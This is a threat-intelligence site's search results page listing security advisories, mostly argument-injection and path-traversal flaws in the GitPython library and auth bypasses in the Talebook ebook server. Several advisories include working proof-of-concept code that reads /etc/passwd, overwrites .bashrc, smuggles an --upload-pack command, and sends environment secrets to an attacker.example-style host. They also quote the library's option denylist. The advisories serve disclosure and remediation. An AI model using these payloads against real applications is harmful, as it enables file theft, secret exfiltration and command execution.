Threat Intelligence Database
Comprehensive database of the latest cyber threats affecting organizations worldwide. Filter and search to find specific threat intelligence relevant to your organization.
Stop chasing alerts. Route them.
Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.
Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)
API access activates after upgrading in Console -> Billing.
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.
Filter Threats
Narrow down the results by type, severity, or affected countries
Search Results: "base.py"
Click on any threat for detailed analysis and mitigation recommendations
0 **Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` ## Summary `Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**. ```python # git/repo/base.py:169 unsafe_git_archive_options = [ # Allows arbitrary command execution through the remote git-upload-archive command. "--exec", # Writes output to a caller-controlled filesystem path. "--output", "-o", ] ``` The comment on `--output` states the protected class in the project's own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path. `git archive` also accepts `--add-file=<path>` and `--add-virtual-file=<path:content>` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them: ``` $ grep -rniE "add.file|add_file" git/ git/index/base.py:771: R"""Add files from the working tree, ... # unrelated docstring ``` Net effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink. ## Reachability proof (verified at the sink) `poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine: ``` -- CONTROL: options the denylist covers (expect BLOCKED) -- [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it. -- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) -- [ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes archive members: ['f.txt', 'gp_canary.txt'] >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345' >>> byte-for-byte match with the out-of-tree file: CONFIRMED -- also: --add-virtual-file (attacker-chosen name AND content) -- [ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes ``` The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran. Minimal reproduction: ```python import io, tarfile from git import Repo buf = io.BytesIO() Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd") print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames()) # ['<repo files>', 'passwd'] <- contents readable by whoever receives the archive ``` The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by `transform_kwargs` into `--add-file=<path>` and reaches `git archive` unmodified. ## Direct precedent `GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *"Incomplete `unsafe_git_clone_options` denylist omits `--template`"* — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`. ## `--add-virtual-file` is the same gap pointing the other way `--add-virtual-file=<path:content>` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as repository-derived. ## Suggested remediation 1. **Preferred — allowlist.** `Repo.archive()` has a small legitimate option surface (`format`, `prefix`, `worktree_attributes`, `remote`, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this. 2. **Minimum — extend the list** with `--add-file` and `--add-virtual-file`, and make the membership rule *"the option takes a filesystem path or URL"* rather than *"the option executes a command"*. The existing comment on `--output` already implies that rule; applying it consistently is what closes the class instead of this instance. ## Scope limits - Impact is **arbitrary file read at the privileges of the process**. Not code execution — I make no such claim here. - It requires the embedding application to forward caller-influenced kwargs into `Repo.archive()`. That is the identical precondition to `--output`, `--exec` and `--template`, Join the discussion | CVE Database V5 | 08/21/2026, 00:00:00 UTC Added: 08/13/2026, 12:52:11 UTC |
0 ### Summary GitPython computes the on-disk location of a submodule's separate Git directory (`.git/modules/<name>`) from the submodule's `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check. ### Details `src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule "` / `"` wrapper from a `.gitmodules` `[submodule "..."]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, "modules", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=<module_abspath>`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for. ### PoC 1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository's own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`. 2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`). 3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section): ```bash $ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc . $ docker run --rm ghsa-gitpython-poc ``` (Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.) 4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim: ```python """GHSA-001 PoC: GitPython side. Clones the attacker repo and runs the equivalent of `git submodule update --init` via GitPython, then checks whether a git repository was created outside the clone directory. """ import os import shutil import git CLONE_DIR = '/work/victim_clone/repo' ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root' def main(): shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True) shutil.rmtree(ESCAPE_TARGET, ignore_errors=True) os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True) print(f'GitPython version: {git.__version__}') repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR) print('Cloned into:', repo.working_tree_dir) sms = list(repo.submodules) for sm in sms: print(' submodule name:', repr(sm.name)) print(' submodule path:', repr(sm.path)) print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET)) for sm in sms: try: sm.update(init=True) except Exception as e: print('sm.update raised:', repr(e)) exists = os.path.exists(ESCAPE_TARGET) print('escape_target exists after update:', exists) if exists: print('escape_target contents:', os.listdir(ESCAPE_TARGET)) print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE') if __name__ == '__main__': main() ``` 5. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section): ``` === GitPython PoC (vulnerable path) === GitPython version: 3.1.57 Cloned into: /work/victim_clone/repo submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir' submodule path: 'legit_dir' escape_target exists before update: False escape_target exists after update: True escape_target contents: ['modules_dir'] POC_RESULT=VULNERABLE === Control: real git CLI on identical repo === warning: ignoring suspicious submodule Join the discussion | CVE Database V5 | 08/20/2026, 09:45:22 UTC Added: 08/19/2026, 14:23:54 UTC |
0 ## Summary `IndexFile.from_tree`, `IndexFile.reset` (→ from_tree) and `IndexFile.merge_tree` append caller-influenced treeish strings positionally to `git read-tree` with no unsafe-option guard, no `allow_unsafe_options` parameter, and no `--` separator. `git read-tree --index-output=<file>` writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected `--index-output` override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit `3af0c251` (GHSA-3f7w-8rr8-f37f) guarded only `checkout_index` and `tag`; `read_tree` was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed). ## Root Cause `from_tree` (index/base.py:388), `reset` (delegates to from_tree), and `merge_tree` (index/base.py:291) call `repo.git.read_tree(*arg_list)` with no `check_unsafe_options` and no `--`. The treeish is caller-influenced and positional. ## Impact Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration. ## Proof of Concept ```python IndexFile.from_tree(repo, "--index-output=/home/victim/.bashrc") # target overwritten with a valid git-index blob (DIRC...) ``` ## Attack Chain 1. Entry: app calls `IndexFile.from_tree(repo, treeish)` / `reset(commit=…)` / `merge_tree(base=…, rhs=…)` with attacker `treeish="--index-output=/home/victim/.bashrc"`. 2. Check: NONE — the methods have no `allow_unsafe_options` and never call `check_unsafe_options`. 3. Sink: `repo.git.read_tree(*arg_list)` — no `--`. argv (from_tree, observed): `['git','read-tree','--index-output=<tmp>','--index-output=/…/victim']` (last-wins). 4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed. ## Bypass Evidence Independently reproduced (gate harness): `IndexFile.from_tree(repo,'--index-output=<victim>')` → victim overwritten; before=`IMPORTANT ORIGINAL CONTENT`, after starts `DIRC\x00\x00\x00\x02…` (destructive clobber, valid index blob). `reset(commit=…)` and both `merge_tree` positionals verified. Fix-commit read: `3af0c251` touched only `checkout_index`+`tag`; `read_tree` untouched on HEAD. ## Affected Versions `GitPython <= 3.1.57` (sinks present verbatim on the latest release tag). ## Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `from_tree`/`reset`/`merge_tree`, and/or place a `--` separator before the positional treeish arguments; block `--index-output` (a path-taking option) on this sink. Join the discussion | CVE Database V5 | 08/20/2026, 09:45:22 UTC Added: 08/19/2026, 14:23:54 UTC |
0 ## Summary `Repo.init()` forwards `**kwargs` verbatim to `git init` with no unsafe-option guard and no `allow_unsafe_options` parameter. `git init --template=<dir>` copies `<dir>/hooks/*` into the new repo's `.git/hooks`, so an attacker-controlled `template` kwarg plants a hook that executes on the next git operation → arbitrary code execution. `--template` is already recognized as unsafe for clone (it is on `unsafe_git_clone_options`, and GHSA-6p8h-3wgx-97gf covers the clone path), but `Repo.init` is a distinct method that never received a guard and needs an independent fix. ## Root Cause `Repo.init(path, mkdir, odbt, expand_vars, **kwargs)` is a bare `git.init(**kwargs)` (git/repo/base.py:1435) with no `check_unsafe_options` and no `allow_unsafe_options`. ## Impact Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a `template=` kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default `allow_unsafe_options` is irrelevant here because `Repo.init` has no guard at all. ## Proof of Concept ```python # attacker stages /evil/hooks/post-commit (executable) from git import Repo Repo.init(path, template="/evil") # next commit runs /evil/hooks/post-commit -> ACE ``` ## Attack Chain 1. Entry: attacker stages `/evil/hooks/post-commit` (executable) and gets the app to call `Repo.init(path, template='/evil')`. 2. Check: NONE on `Repo.init`. Bypass proof: base.py:1435 is a bare `git.init(**kwargs)`. argv (observed): `['git','init','--template=/evil']`. 3. Sink: git copies `/evil/hooks/post-commit` → `<repo>/.git/hooks/post-commit`. 4. Impact: next commit runs the hook → arbitrary code execution. ## Bypass Evidence Independently reproduced (gate harness): `Repo.init(dst, template='<evil>')` → argv `['git','init','--template=<evil>']` unguarded; hook copied into `.git/hooks/post-commit`; after `git commit` the `INIT_ACE` marker was created. `--separate-git-dir=<path>` is a parallel arbitrary-redirect vector through the same unguarded sink (value control only). ## Affected Versions `GitPython <= 3.1.57` (unguarded `git.init(**kwargs)` present verbatim on the latest release tag). ## Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `Repo.init`, consulting a denylist that includes `--template` and `--separate-git-dir` (path-taking / hook-installing options). --- Reported by **zx (Jace)** — GitHub: @manus-use Join the discussion | CVE Database V5 | 08/20/2026, 09:45:22 UTC Added: 08/19/2026, 14:23:54 UTC |
0 ## Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ## Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ## Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ## Proof of concept ```python from git import Repo from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ## Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered. Join the discussion | CVE Database V5 | 08/20/2026, 09:45:22 UTC Added: 08/19/2026, 14:23:54 UTC |
0 MyBooks is anebook management web server also known as Talebook. In 3.41.2 and earlier, the SignUp.post handler for POST /api/user/sign_up in webserver/handlers/user.py does not enforce the ALLOW_REGISTER configuration flag, even though the frontend hides registration controls when the flag is false. An unauthenticated remote attacker can call the endpoint directly and create a valid account on an instance whose administrator disabled public registration. The process_auth_header function in webserver/handlers/base.py also does not verify the account's active flag, so the newly created and unactivated account can authenticate immediately and access user-level API functionality. The bypass defeats the intended account-creation policy and can supply the low-privilege account required by related authorization vulnerabilities. This issue is fixed in version 3.42.0. Join the discussion | CVE Database V5 | 08/19/2026, 14:38:58 UTC Added: 08/19/2026, 15:08:58 UTC |
MyBooks is an ebook management web server also known as Talebook. In 3.41.2 and earlier, the AdminSettings.post handler for POST /api/admin/settings in webserver/handlers/admin.py applies the auth decorator but does not check the self.admin_user property, unlike the corresponding GET handler. Any authenticated regular user can therefore overwrite server configuration values including SMTP credentials, OAuth client secrets, storage paths, security feature flags, and autoreload settings. The process_auth_header function in webserver/handlers/base.py also fails to verify the matched account's active flag, allowing a registered but unactivated account to authenticate and reach the vulnerable handler. Exploitation can disclose secrets through configuration access paths, sabotage application behavior, force service restarts, and supply the settings needed for related code-injection attacks. This issue is fixed in version 3.42.0. Join the discussion | CVE Database V5 | 08/19/2026, 14:37:44 UTC Added: 08/19/2026, 15:08:58 UTC |
## Summary GitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`. ## Root Cause The guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {"n":"--upload-pack=<cmd>"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token. ## Impact Arbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`. ## Proof of Concept ```python from git import Repo Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack") # /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED. ``` File-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated. ## Attack Chain 1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {"n":"--upload-pack=..."})` -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified live). 2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens. 3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end). ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector. ## Affected Versions `<= 3.1.53` ## Suggested Fix Make `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @manus-use Join the discussion | CVE Database V5 | 08/14/2026, 09:45:06 UTC Added: 08/13/2026, 12:52:13 UTC |
## Summary GitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration. ## Root Cause `base.py:145-152` defines `unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense. ## Impact Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H. ## Proof of Concept ```python # attacker stages <dir>/hooks/post-checkout (chmod +x) from git import Repo Repo.clone_from(src, dst, template='<dir>') # post-checkout hook executes -> marker created (verified) ``` ## Attack Chain 1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem). 2. Entry: `Repo.clone_from(url, path, template='<dir>')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -> passes (verified candidate `['--template']`, no error). 3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created). ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`. --- Reported by **zx (Jace)** — GitHub: @manus-use Join the discussion | CVE Database V5 | 08/14/2026, 09:45:06 UTC Added: 08/13/2026, 12:52:11 UTC |
0 ## Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ## Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ## Steps to Reproduce ### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading import git print("gitpython version:", git.__version__) # Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY. SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use" os.environ["GP_SENTINEL_SECRET"] = SENTINEL # Local HTTP server standing in for attacker.example. captured = [] class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): captured.append(self.path) self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = http.server.HTTPServer(("127.0.0.1", 0), Handler) port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() # Attacker-controlled URL handed to an "import from URL" feature. attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port def norm(s): # display the ephemeral listener port as a stable placeholder return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT") print("attacker-supplied URL :", norm(attacker_url)) repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-")) remote = repo.create_remote("evil", attacker_url) # public API stored = repo.remote("evil").url print("stored remote URL :", norm(stored)) print("SENTINEL in git config:", SENTINEL in stored) try: remote.fetch() # transmits the expanded URL to the attacker host except Exception: pass # fetch fails after the request is already sent srv.shutdown() over_network = any(SENTINEL in p for p in captured) print("HTTP paths received :", [norm(p) for p in captured]) print("SENTINEL over network :", over_network) print() if SENTINEL in stored and over_network: print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host") elif SENTINEL in stored: print("VULNERABLE: env-var expanded into stored git-config URL") else: print("not reproduced") PYEOF ``` ### Step 3: Run it ```bash cd /tmp/gp-remote-poc && ./venv/bin/python poc.py ``` Expected output (the listener's ephemeral port is shown as `PORT`): ``` gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/ Join the discussion | CVE Database V5 | 08/14/2026, 09:45:06 UTC Added: 08/13/2026, 12:52:11 UTC |
Showing 1 to 10 of 34 results